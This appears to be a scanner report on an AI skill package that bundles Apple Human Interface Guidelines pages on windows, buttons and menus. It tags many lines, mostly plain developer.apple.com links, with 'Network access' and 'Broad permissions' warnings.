source: https://developer.apple.com/design/human-interface-guidelines/windows - Network accessline 9
; for guidance laying out content in Apple Vision Pro space, see [Spatial layout](https://dev - Network accessline 24
## [Best practices](https://developer.apple.com/design/human-interface-guidelines/windows#Best-practices) - Network accessline 26
**Make sure that your windows adapt fluidly to different sizes to support multitasking and multiwindow workflows.** For guidance, see [Layout](https://developer.apple.com/design/human-interface-guidelines/layout) and [Multitasking](https:// - Network accessline 30
**Consider providing the option to view content in a new window.** While it’s best to avoid opening new windows as default behavior unless it benefits your user experience, it’s also great to give people the flexibility of viewing content i - Network accessline 36
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/windows#Platform-considerations) - Network accessline 40
### [iPadOS](https://developer.apple.com/design/human-interface-guidelines/windows#iPadOS) - Network accessline 56
 - Network accessline 72
To learn about setting up a window to display your game in macOS, see [Managing your game window for Metal in macOS](https://developer.apple.com/documentation/Metal/managing-your-game-window-for-metal-in-macos). - Network accessline 74
#### [macOS window anatomy](https://developer.apple.com/design/human-interface-guidelines/windows#macOS-window-anatomy) - Network accessline 78
The _frame_ of a window appears above the body area and can include window controls and a [toolbar](https://developer.apple.com/design/human-interface-guidelines/toolbars). In rare cases, a window can also display a bottom bar, which is a p - Network accessline 80
#### [macOS window states](https://developer.apple.com/design/human-interface-guidelines/windows#macOS-window-states) - Network accessline 93
The system gives main, key, and inactive windows different appearances to help people visually identify them. For example, the key window uses color in the title bar options for closing, minimizing, and zooming; inactive windows and main wi - Network accessline 95
 - Network accessline 109
 - Network accessline 121
The default window style consists of an upright plane that uses an unmodifiable background [material](https://developer.apple.com/design/human-interface-guidelines/materials) called _glass_ and includes a close button, window bar, and resiz - Network accessline 123
 - Network accessline 141
You can use a volume to display 2D or 3D content that people can view from any angle. A volume includes window-management controls just like a window, but unlike in a window, a volume’s close button and window bar shift position to face the - Network accessline 143
A volume - Network accessline 145
**Prefer using a volume to display rich, 3D content.** In contrast, if you want to present a familiar, UI-centric interface, it generally works best to use a [window](https://developer.apple.com/design/human-interface-guidelines/windows#vis - Network accessline 153
**Consider offering high-value content in an ornament.** In visionOS 2 and later, a volume can include an ornament in addition to a toolbar and tab bar. You can use an ornament to reduce clutter in a volume and elevate important views or co - Network accessline 157
## [Resources](https://developer.apple.com/design/human-interface-guidelines/windows#Resources) - Network accessline 159
#### [Related](https://developer.apple.com/design/human-interface-guidelines/windows#Related) - Network accessline 161
[Layout](https://developer.apple.com/design/human-interface-guidelines/layout) - Network accessline 163
[Split views](https://developer.apple.com/design/human-interface-guidelines/split-views) - Network accessline 165
[Multitasking](https://developer.apple.com/design/human-interface-guidelines/multitasking) - Network accessline 167
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/windows#Developer-documentation) - Network accessline 169
[Windows](https://developer.apple.com/documentation/SwiftUI/Windows) — SwiftUI - Network accessline 171
[`WindowGroup`](https://developer.apple.com/documentation/SwiftUI/WindowGroup) — SwiftUI - Network accessline 173
[`UIWindow`](https://developer.apple.com/documentation/UIKit/UIWindow) — UIKit - Network accessline 175
[`NSWindow`](https://developer.apple.com/documentation/AppKit/NSWindow) — AppKit - Network accessline 177
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/windows#Videos) - Network accessline 179
[ Elevate the design of your iPad app ](https://developer.apple.com/videos/play/wwd - Network accessline 181
## [Change log](https://developer.apple.com/design/human-interface-guidelines/windows#Change-log)
skills/hig-components-menus/SKILL.md
- Network accessline 83
*Built by [Raintree Technology](https://raintree.technology) · [More developer tools](https://raintree.technology)*
skills/hig-components-menus/references/action-button.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Action button | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/action-button - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/action-button - Network accessline 9
 or access system-provided functionality, like turning the flashlight on or off. On A - Network accessline 17
## [Best practices](https://developer.apple.com/design/human-interface-guidelines/action-button#Best-practices) - Network accessline 19
**Support the Action button with a set of your app’s essential functions.** For example, if your cooking app includes an egg timer, a “Start Egg Timer” action might be one that people want to initiate when they press the Action button. You - Network accessline 21
**For each action you support, write a short label that succinctly describes it.** People see your labels when they visit Settings to configure the Action button’s behavior. Create labels that use [title-style capitalization](https://suppor - Network accessline 25
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/action-button#Platform-considerations) - Network accessline 29
### [iOS](https://developer.apple.com/design/human-interface-guidelines/action-button#iOS) - Network accessline 31
**Let people use your actions without leaving their current context.** When possible, make use of lightweight multitasking capabilities like [Live Activities](https://developer.apple.com/design/human-interface-guidelines/live-activities) an - Network accessline 33
### [watchOS](https://developer.apple.com/design/human-interface-guidelines/action-button#watchOS) - Network accessline 43
## [Resources](https://developer.apple.com/design/human-interface-guidelines/action-button#Resources) - Network accessline 45
#### [Related](https://developer.apple.com/design/human-interface-guidelines/action-button#Related) - Network accessline 47
[Workouts](https://developer.apple.com/design/human-interface-guidelines/workouts) - Network accessline 49
[Digital Crown](https://developer.apple.com/design/human-interface-guidelines/digital-crown) - Network accessline 51
[App Shortcuts](https://developer.apple.com/design/human-interface-guidelines/app-shortcuts) - Network accessline 53
[Live Activities](https://developer.apple.com/design/human-interface-guidelines/live-activities) - Network accessline 55
## [Change log](https://developer.apple.com/design/human-interface-guidelines/action-button#Change-log)
skills/hig-components-menus/references/buttons.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Buttons | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/buttons - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/buttons - Network accessline 9
, [pop-up buttons](https://developer.apple. - Network accessline 24
## [Best practices](https://developer.apple.com/design/human-interface-guidelines/buttons#Best-practices) - Network accessline 32
## [Style](https://developer.apple.com/design/human-interface-guidelines/buttons#Style) - Network accessline 40
**Avoid applying a similar color to button labels and content layer backgrounds.** If your app already has bright, colorful content in the content layer, prefer using the default monochromatic appearance of button labels. For more guidance, - Network accessline 42
## [Content](https://developer.apple.com/design/human-interface-guidelines/buttons#Content) - Network accessline 48
In macOS and visionOS, the system displays a tooltip after people hover over a button for a moment. A tooltip displays a brief phrase that explains what a button does; for guidance, see [Offering help](https://developer.apple.com/design/hum - Network accessline 50
**Try to associate familiar actions with familiar icons.** For example, people can predict that a button containing the `square.and.arrow.up` symbol will help them perform share-related activities. If it makes sense to use an icon in your b - Network accessline 52
**Consider using text when a short label communicates more clearly than an icon.** To use text, write a few words that succinctly describe what the button does. Using [title-style capitalization](https://help.apple.com/applestyleguide/#/aps - Network accessline 54
## [Role](https://developer.apple.com/design/human-interface-guidelines/buttons#Role) - Network accessline 71
 - Network accessline 81
### [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/buttons#iOS-iPadOS) - Network accessline 85
 - Network accessline 87
 - Network accessline 89
### [macOS](https://developer.apple.com/design/human-interface-guidelines/buttons#macOS) - Network accessline 93
#### [Push buttons](https://developer.apple.com/design/human-interface-guidelines/buttons#Push-buttons) - Network accessline 97
**Use a flexible-height push button only when you need to display tall or variable height content.** Flexible-height buttons support the same configurations as regular push buttons — and they use the same corner radius and content padding — - Network accessline 103
#### [Square buttons](https://developer.apple.com/design/human-interface-guidelines/buttons#Square-buttons) - Network accessline 109
**Use square buttons in a view, not in the window frame.** Square buttons aren’t intended for use in toolbars or status bars. If you need a button in a [toolbar](https://developer.apple.com/design/human-interface-guidelines/toolbars), use a - Network accessline 111
**Prefer using a symbol in a square button.** [SF Symbols](https://developer.apple.com/design/human-interface-guidelines/sf-symbols) provides a wide range of symbols that automatically receive appropriate coloring in their default state and - Network accessline 115
For developer guidance, see [`NSButton.BezelStyle.smallSquare`](https://developer.apple.com/documentation/AppKit/NSButton/BezelStyle-swift.enum/smallSquare). - Network accessline 117
#### [Help buttons](https://developer.apple.com/design/human-interface-guidelines/buttons#Help-buttons) - Network accessline 121
Help buttons are circular, consistently sized buttons that contain a question mark. For guidance on creating help documentation, see [Offering help](https://developer.apple.com/design/human-interface-guidelines/offering-help). - Network accessline 141
#### [Image buttons](https://developer.apple.com/design/human-interface-guidelines/buttons#Image-buttons) - Network accessline 145
**Use an image button in a view, not in the window frame.** For example, avoid placing an image button in a toolbar or status bar. If you need to use an image as a button in a toolbar, use a toolbar item. See [Toolbars](https://developer.ap - Network accessline 147
**Include about 10 pixels of padding between the edges of the image and the button edges.** An image button’s edges define its clickable area even when they aren’t visible. Including padding ensures that a click registers correctly even if - Network accessline 149
**If you need to include a label, position it below the image button.** For related guidance, see [Labels](https://developer.apple.com/design/human-interface-guidelines/labels). - Network accessline 151
### [visionOS](https://developer.apple.com/design/human-interface-guidelines/buttons#visionOS) - Network accessline 161
There are three standard button shapes in visionOS. Typically, an icon-only button uses a [`circle`](https://developer.apple.com/documentation/SwiftUI/ButtonBorderShape/circle) shape, a text-only button uses a [`roundedRectangle`](https://d - Network accessline 165
| Small (32 pt)| Regular (44 pt)| Large (52 pt)| Extra large (64 pt) ---|---|---|---|---|--- Circular| | | | | | | | | | | , use the [`thin`](https://developer.apple.com/documentation/SwiftUI/Material/thin) material as the button’s b - Network accessline 198
* When a button appears floating in space, use the [glass material](https://developer.apple.com/design/human-interface-guidelines/materials#visionOS) for its background. - Network accessline 213
### [watchOS](https://developer.apple.com/design/human-interface-guidelines/buttons#watchOS) - Network accessline 215
watchOS displays all inline buttons using the [`capsule`](https://developer.apple.com/documentation/SwiftUI/ButtonBorderShape/capsule) button shape. When you place a button inline with content, it gains a material effect that contrasts with - Network accessline 217
 - Network accessline 219
**Use a toolbar to place buttons in the corners.** The system automatically moves the time and title to accommodate toolbar buttons. The system also applies the [Liquid Glass](https://developer.apple.com/design/human-interface-guidelines/ma - Network accessline 221
 - Network accessline 231
#### [Related](https://developer.apple.com/design/human-interface-guidelines/buttons#Related) - Network accessline 233
[Pop-up buttons](https://developer.apple.com/design/human-interface-guidelines/pop-up-buttons) - Network accessline 235
[Pull-down buttons](https://developer.apple.com/design/human-interface-guidelines/pull-down-buttons) - Network accessline 237
[Toggles](https://developer.apple.com/design/human-interface-guidelines/toggles) - Network accessline 239
[Segmented controls](https://developer.apple.com/design/human-interface-guidelines/segmented-controls) - Network accessline 241
[Location button](https://developer.apple.com/design/human-interface-guidelines/privacy#Location-button) - Network accessline 243
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/buttons#Developer-documentation) - Network accessline 245
[`Button`](https://developer.apple.com/documentation/SwiftUI/Button) — SwiftUI - Network accessline 247
[`UIButton`](https://developer.apple.com/documentation/UIKit/UIButton) — UIKit - Network accessline 249
[`NSButton`](https://developer.apple.com/documentation/AppKit/NSButton) — AppKit - Network accessline 251
## [Change log](https://developer.apple.com/design/human-interface-guidelines/buttons#Change-log)
skills/hig-components-menus/references/context-menus.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Context menus | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/context-menus - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/context-menus - Network accessline 9
 - Network accessline 32
**If you need to use submenus to manage a menu’s complexity, keep them to one level.** A submenu is a menu item that reveals a secondary menu of logically related commands. Although submenus can shorten a context menu and clarify its comman - Network accessline 40
**Follow best practices for using separators.** As with other types of menus, you can use separators to group items in a context menu and help people scan the menu more quickly. In general, you don’t want more than about three groups in a c - Network accessline 42
**In iOS, iPadOS, and visionOS, warn people about context menu items that can destroy data.** If you need to include potentially destructive items in your context menu — such as Delete or Remove — list them at the end of the menu and identi - Network accessline 44
## [Content](https://developer.apple.com/design/human-interface-guidelines/context-menus#Content) - Network accessline 46
A context menu seldom displays a title. In contrast, each item in a context menu needs to display a short label that clearly describes what it does. For guidance, see [Menus > Labels](https://developer.apple.com/design/human-interface-guide - Network accessline 50
**Represent menu item actions with familiar icons.** Icons help people recognize common actions throughout your app. Use the same icons as the system to represent actions such as Copy, Share, and Delete, wherever they appear. For a list of - Network accessline 52
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/context-menus#Platform-considerations) - Network accessline 56
### [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/context-menus#iOS-iPadOS) - Network accessline 58
**Provide either a context menu or an edit menu for an item, but not both.** If you provide both features for the same item, it can be confusing to people — and difficult for the system to detect their intent. See [Edit menus](https://devel - Network accessline 66
**Ensure that your preview looks good as it animates.** As people reveal a context menu on an onscreen object, the system animates the preview image as it emerges from the content, dimming the screen behind the preview and the menu. It’s im - Network accessline 68
### [macOS](https://developer.apple.com/design/human-interface-guidelines/context-menus#macOS) - Network accessline 72
### [visionOS](https://developer.apple.com/design/human-interface-guidelines/context-menus#visionOS) - Network accessline 78
## [Resources](https://developer.apple.com/design/human-interface-guidelines/context-menus#Resources) - Network accessline 80
#### [Related](https://developer.apple.com/design/human-interface-guidelines/context-menus#Related) - Network accessline 82
[Menus](https://developer.apple.com/design/human-interface-guidelines/menus) - Network accessline 84
[Edit menus](https://developer.apple.com/design/human-interface-guidelines/edit-menus) - Network accessline 86
[Pop-up buttons](https://developer.apple.com/design/human-interface-guidelines/pop-up-buttons) - Network accessline 88
[Pull-down buttons](https://developer.apple.com/design/human-interface-guidelines/pull-down-buttons) - Network accessline 90
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/context-menus#Developer-documentation) - Network accessline 92
[`contextMenu(menuItems:)`](https://developer.apple.com/documentation/SwiftUI/View/contextMenu\(menuItems:\)) — SwiftUI - Network accessline 94
[`UIContextMenuInteraction`](https://developer.apple.com/documentation/UIKit/UIContextMenuInteraction) — UIKit - Network accessline 96
[`popUpContextMenu(_:with:for:)`](https://developer.apple.com/documentation/AppKit/NSMenu/popUpContextMenu\(_:with:for:\)) — AppKit - Network accessline 98
## [Change log](https://developer.apple.com/design/human-interface-guidelines/context-menus#Change-log)
skills/hig-components-menus/references/disclosure-controls.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Disclosure controls | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/disclosure-controls - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/disclosure-controls - Network accessline 9
 - Network accessline 15
## [Disclosure triangles](https://developer.apple.com/design/human-interface-guidelines/disclosure-controls#Disclosure-triangles) - Network accessline 24
. - Network accessline 34
## [Disclosure buttons](https://developer.apple.com/design/human-interface-guidelines/disclosure-controls#Disclosure-buttons) - Network accessline 45
. - Network accessline 55
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/disclosure-controls#Platform-considerations) - Network accessline 59
### [iOS, iPadOS, visionOS](https://developer.apple.com/design/human-interface-guidelines/disclosure-controls#iOS-iPadOS-visionOS) - Network accessline 61
Disclosure controls are available in iOS, iPadOS, and visionOS with the SwiftUI [`DisclosureGroup`](https://developer.apple.com/documentation/SwiftUI/DisclosureGroup) view. - Network accessline 63
## [Resources](https://developer.apple.com/design/human-interface-guidelines/disclosure-controls#Resources) - Network accessline 65
#### [Related](https://developer.apple.com/design/human-interface-guidelines/disclosure-controls#Related) - Network accessline 67
[Outline views](https://developer.apple.com/design/human-interface-guidelines/outline-views) - Network accessline 69
[Lists and tables](https://developer.apple.com/design/human-interface-guidelines/lists-and-tables) - Network accessline 71
[Buttons](https://developer.apple.com/design/human-interface-guidelines/buttons) - Network accessline 73
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/disclosure-controls#Developer-documentation) - Network accessline 75
[`DisclosureGroup`](https://developer.apple.com/documentation/SwiftUI/DisclosureGroup) — SwiftUI - Network accessline 77
[`NSButton.BezelStyle.disclosure`](https://developer.apple.com/documentation/AppKit/NSButton/BezelStyle-swift.enum/disclosure) — AppKit - Network accessline 79
[`NSButton.BezelStyle.pushDisclosure`](https://developer.apple.com/documentation/AppKit/NSButton/BezelStyle-swift.enum/pushDisclosure) — AppKit - Network accessline 81
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/disclosure-controls#Videos) - Network accessline 83
[ Stacks, Grids, and Outlines in SwiftUI ](https://developer.apple.com/videos/play/wwdc2020/10031)
skills/hig-components-menus/references/dock-menus.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Dock menus | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/dock-menus - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/dock-menus - Network accessline 9
 - Network accessline 19
As with all menus, you need to label Dock menu items succinctly and organize them logically. For guidance, see [Menus](https://developer.apple.com/design/human-interface-guidelines/menus). - Network accessline 25
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/dock-menus#Platform-considerations) - Network accessline 29
## [Resources](https://developer.apple.com/design/human-interface-guidelines/dock-menus#Resources) - Network accessline 31
#### [Related](https://developer.apple.com/design/human-interface-guidelines/dock-menus#Related) - Network accessline 33
[Menus](https://developer.apple.com/design/human-interface-guidelines/menus) - Network accessline 35
[Home Screen quick actions](https://developer.apple.com/design/human-interface-guidelines/home-screen-quick-actions) - Network accessline 37
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/dock-menus#Developer-documentation) - Network accessline 39
[`applicationDockMenu(_:)`](https://developer.apple.com/documentation/AppKit/NSApplicationDelegate/applicationDockMenu\(_:\)) — AppKit
skills/hig-components-menus/references/edit-menus.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Edit menus | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/edit-menus - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/edit-menus - Network accessline 9
 in the - Network accessline 21
* In visionOS, people use the standard [pinch and hold](https://developer.apple.com/design/human-interface-guidelines/gestures#Standard-gestures) gesture to open the edit menu as a horizontal bar, or they can open it in a context menu. - Network accessline 28
## [Best practices](https://developer.apple.com/design/human-interface-guidelines/edit-menus#Best-practices) - Network accessline 30
**Prefer the system-provided edit menu.** People are familiar with the contents and behavior of the system-provided component, so creating a custom menu that presents the same commands is redundant and likely to be confusing. For a list of - Network accessline 40
**Support undo and redo when possible.** Like all menus, an edit menu doesn’t require confirmation before performing its actions, so people can easily use undo and redo to recover a previous state. For guidance, see [Undo and redo](https:// - Network accessline 46
## [Content](https://developer.apple.com/design/human-interface-guidelines/edit-menus#Content) - Network accessline 48
**Create short labels for custom commands.** Use verbs or short verb phrases that succinctly describe the action your command performs. For guidance, see [Labels](https://developer.apple.com/design/human-interface-guidelines/labels). - Network accessline 50
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/edit-menus#Platform-considerations) - Network accessline 54
### [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/edit-menus#iOS-iPadOS) - Network accessline 56
**Ensure your edit menu works well in both styles.** The system displays the compact, horizontal style when people use Multi-Touch gestures to reveal the edit menu, and the vertical style when people use a keyboard or pointing device to rev - Network accessline 60
### [macOS](https://developer.apple.com/design/human-interface-guidelines/edit-menus#macOS) - Network accessline 62
To learn about the order of items in a macOS app’s Edit menu, see [Edit menu](https://developer.apple.com/design/human-interface-guidelines/the-menu-bar#Edit-menu). - Network accessline 64
## [Resources](https://developer.apple.com/design/human-interface-guidelines/edit-menus#Resources) - Network accessline 66
#### [Related](https://developer.apple.com/design/human-interface-guidelines/edit-menus#Related) - Network accessline 68
[Menus](https://developer.apple.com/design/human-interface-guidelines/menus) - Network accessline 70
[Context menus](https://developer.apple.com/design/human-interface-guidelines/context-menus) - Network accessline 72
[The menu bar](https://developer.apple.com/design/human-interface-guidelines/the-menu-bar) - Network accessline 74
[Undo and redo](https://developer.apple.com/design/human-interface-guidelines/undo-and-redo) - Network accessline 76
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/edit-menus#Developer-documentation) - Network accessline 78
[`UIEditMenuInteraction`](https://developer.apple.com/documentation/UIKit/UIEditMenuInteraction) — UIKit - Network accessline 80
[`NSMenu`](https://developer.apple.com/documentation/AppKit/NSMenu) — AppKit - Network accessline 82
## [Change log](https://developer.apple.com/design/human-interface-guidelines/edit-menus#Change-log)
skills/hig-components-menus/references/menus.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Menus | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/menus - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/menus - Network accessline 9
 or [pull-down button](https://developer.appl - Network accessline 17
## [Labels](https://developer.apple.com/design/human-interface-guidelines/menus#Labels) - Network accessline 23
Depending on menu layout, an iOS, iPadOS, or visionOS app can display a few unlabeled menu items that use only symbols or icons to identify them. For guidance, see [visionOS](https://developer.apple.com/design/human-interface-guidelines/men - Network accessline 25
**For each menu item, write a label that clearly and succinctly describes it.** In general, label a menu item that initiates an action using a verb or verb phrase that describes the action, such as View, Close, or Select. For guidance label - Network accessline 27
**To be consistent with platform experiences, use title-style capitalization.** Although a game might have a different writing style, generally prefer using title-style capitalization, which capitalizes every word except articles, coordinat - Network accessline 35
## [Icons](https://developer.apple.com/design/human-interface-guidelines/menus#Icons) - Network accessline 37
**Represent menu item actions with familiar icons.** Icons help people recognize common actions throughout your app. Use the same icons as the system to represent actions such as Copy, Share, and Delete, wherever they appear. For a list of - Network accessline 41
 - Network accessline 45
 - Network accessline 47
 - Network accessline 51
 - Network accessline 55
 - Network accessline 59
 - Network accessline 63
## [Organization](https://developer.apple.com/design/human-interface-guidelines/menus#Organization) - Network accessline 75
## [Submenus](https://developer.apple.com/design/human-interface-guidelines/menus#Submenus) - Network accessline 87
## [Toggled items](https://developer.apple.com/design/human-interface-guidelines/menus#Toggled-items) - Network accessline 101
## [In-game menus](https://developer.apple.com/design/human-interface-guidelines/menus#In-game-menus) - Network accessline 103
In-game menus give players ways to control gameplay as well as determine [settings](https://developer.apple.com/design/human-interface-guidelines/settings) for the game as a whole. - Network accessline 107
**Make sure your menus remain easy to open and read on all platforms you support.** Each platform defines specific sizes that work best for fonts and interaction targets. Sometimes, scaling your game content to display on a different screen - Network accessline 109
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/menus#Platform-considerations) - Network accessline 113
### [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/menus#iOS-iPadOS) - Network accessline 117
 - Network accessline 128
For developer guidance, see [`preferredElementSize`](https://developer.apple.com/documentation/UIKit/UIMenu/preferredElementSize). - Network accessline 132
### [visionOS](https://developer.apple.com/design/human-interface-guidelines/menus#visionOS) - Network accessline 134
In visionOS, a menu can display items using the small or large layout styles that iOS and iPadOS define (for guidance, see [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/menus#iOS-iPadOS)). You can present a men - Network accessline 138
 - Network accessline 144
#### [Related](https://developer.apple.com/design/human-interface-guidelines/menus#Related) - Network accessline 146
[Pop-up buttons](https://developer.apple.com/design/human-interface-guidelines/pop-up-buttons) - Network accessline 148
[Pull-down buttons](https://developer.apple.com/design/human-interface-guidelines/pull-down-buttons) - Network accessline 150
[Context menus](https://developer.apple.com/design/human-interface-guidelines/context-menus) - Network accessline 152
[The menu bar](https://developer.apple.com/design/human-interface-guidelines/the-menu-bar) - Network accessline 154
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/menus#Developer-documentation) - Network accessline 156
[`Menu`](https://developer.apple.com/documentation/SwiftUI/Menu) — SwiftUI - Network accessline 158
[Menus and shortcuts](https://developer.apple.com/documentation/UIKit/menus-and-shortcuts) — UIKit - Network accessline 160
[Menus](https://developer.apple.com/documentation/AppKit/menus) — AppKit - Network accessline 162
## [Change log](https://developer.apple.com/design/human-interface-guidelines/menus#Change-log)
skills/hig-components-menus/references/pop-up-buttons.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Pop-up buttons | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/pop-up-buttons - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/pop-up-buttons - Network accessline 9
 - Network accessline 19
**Use a pop-up button to present a flat list of mutually exclusive options or states.** A pop-up button helps people make a choice that affects their content or the surrounding view. Use a [pull-down button](https://developer.apple.com/desi - Network accessline 38
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/pop-up-buttons#Platform-considerations) - Network accessline 42
### [iPadOS](https://developer.apple.com/design/human-interface-guidelines/pop-up-buttons#iPadOS) - Network accessline 46
## [Resources](https://developer.apple.com/design/human-interface-guidelines/pop-up-buttons#Resources) - Network accessline 48
#### [Related](https://developer.apple.com/design/human-interface-guidelines/pop-up-buttons#Related) - Network accessline 50
[Pull-down buttons](https://developer.apple.com/design/human-interface-guidelines/pull-down-buttons) - Network accessline 52
[Buttons](https://developer.apple.com/design/human-interface-guidelines/buttons) - Network accessline 54
[Menus](https://developer.apple.com/design/human-interface-guidelines/menus) - Network accessline 56
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/pop-up-buttons#Developer-documentation) - Network accessline 58
[`MenuPickerStyle`](https://developer.apple.com/documentation/SwiftUI/MenuPickerStyle) — SwiftUI - Network accessline 60
[`changesSelectionAsPrimaryAction`](https://developer.apple.com/documentation/UIKit/UIButton/changesSelectionAsPrimaryAction) — UIKit - Network accessline 62
[`NSPopUpButton`](https://developer.apple.com/documentation/AppKit/NSPopUpButton) — AppKit - Network accessline 64
## [Change log](https://developer.apple.com/design/human-interface-guidelines/pop-up-buttons#Change-log)
skills/hig-components-menus/references/pull-down-buttons.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Pull-down buttons | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/pull-down-buttons - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/pull-down-buttons - Network accessline 9
 - Network accessline 26
If you need to provide a list of mutually exclusive choices that aren’t commands, use a [pop-up button](https://developer.apple.com/design/human-interface-guidelines/pop-up-buttons) instead. - Network accessline 34
**Let people know when a pull-down button’s menu item is destructive, and ask them to confirm their intent.** Menus use red text to highlight actions that you identify as potentially destructive. When people choose a destructive action, the - Network accessline 36
**Include an interface icon with a menu item when it provides value.** If you need to clarify an item’s meaning, you can display an [icon](https://developer.apple.com/design/human-interface-guidelines/icons) or image after its label. Using - Network accessline 38
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/pull-down-buttons#Platform-considerations) - Network accessline 42
### [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/pull-down-buttons#iOS-iPadOS) - Network accessline 50
 - Network accessline 56
#### [Related](https://developer.apple.com/design/human-interface-guidelines/pull-down-buttons#Related) - Network accessline 58
[Pop-up buttons](https://developer.apple.com/design/human-interface-guidelines/pop-up-buttons) - Network accessline 60
[Buttons](https://developer.apple.com/design/human-interface-guidelines/buttons) - Network accessline 62
[Menus](https://developer.apple.com/design/human-interface-guidelines/menus) - Network accessline 64
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/pull-down-buttons#Developer-documentation) - Network accessline 66
[`MenuPickerStyle`](https://developer.apple.com/documentation/SwiftUI/MenuPickerStyle) — SwiftUI - Network accessline 68
[`showsMenuAsPrimaryAction`](https://developer.apple.com/documentation/UIKit/UIControl/showsMenuAsPrimaryAction) — UIKit - Network accessline 70
[`pullsDown`](https://developer.apple.com/documentation/AppKit/NSPopUpButton/pullsDown) — AppKit - Network accessline 72
## [Change log](https://developer.apple.com/design/human-interface-guidelines/pull-down-buttons#Change-log)
skills/hig-components-menus/references/the-menu-bar.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "The menu bar | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/the-menu-bar - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/the-menu-bar - Network accessline 9
. - Network accessline 17
 - Network accessline 19
Menus in the menu bar share most of the appearance and behavior characteristics that all menu types have. To learn about menus in general — and how to organize and label menu items — see [Menus](https://developer.apple.com/design/human-inte - Network accessline 21
## [Anatomy](https://developer.apple.com/design/human-interface-guidelines/the-menu-bar#Anatomy) - Network accessline 44
In addition, the macOS menu bar includes the Apple menu on the leading side and menu bar extras on the trailing side. See [macOS Platform considerations](https://developer.apple.com/design/human-interface-guidelines/the-menu-bar#macOS) for - Network accessline 46
## [Best practices](https://developer.apple.com/design/human-interface-guidelines/the-menu-bar#Best-practices) - Network accessline 52
**Represent menu item actions with familiar icons.** Icons help people recognize common actions throughout your app. Use the same icons as the system to represent actions such as Copy, Share, and Delete, wherever they appear. For a list of - Network accessline 54
**Support the keyboard shortcuts defined for the standard menu items you include.** People expect to use the keyboard shortcuts they already know for standard menu items, like Copy, Cut, Paste, Save, and Print. Define custom keyboard shortc - Network accessline 58
## [App menu](https://developer.apple.com/design/human-interface-guidelines/the-menu-bar#App-menu) - Network accessline 65
---|---|--- About _YourAppName_| Displays the About window for your app, which includes copyright and version information.| Prefer a short name of 16 characters or fewer. Don’t include a version number. Settings…| Opens your [settings] - Network accessline 66
About _YourAppName_| Displays the About window for your app, which includes copyright and version information.| Prefer a short name of 16 characters or fewer. Don’t include a version number. Settings…| Opens your [settings](https://devel - Network accessline 67
Settings…| Opens your [settings](https://developer.apple.com/design/human-interface-guidelines/settings) window, or your app’s page in iPadOS Settings.| Use only for app-level settings. If you also offer document-specific settings, put them - Network accessline 77
## [File menu](https://developer.apple.com/design/human-interface-guidelines/the-menu-bar#File-menu) - Network accessline 101
## [Edit menu](https://developer.apple.com/design/human-interface-guidelines/the-menu-bar#Edit-menu) - Network accessline 127
## [Format menu](https://developer.apple.com/design/human-interface-guidelines/the-menu-bar#Format-menu) - Network accessline 138
## [View menu](https://developer.apple.com/design/human-interface-guidelines/the-menu-bar#View-menu) - Network accessline 144
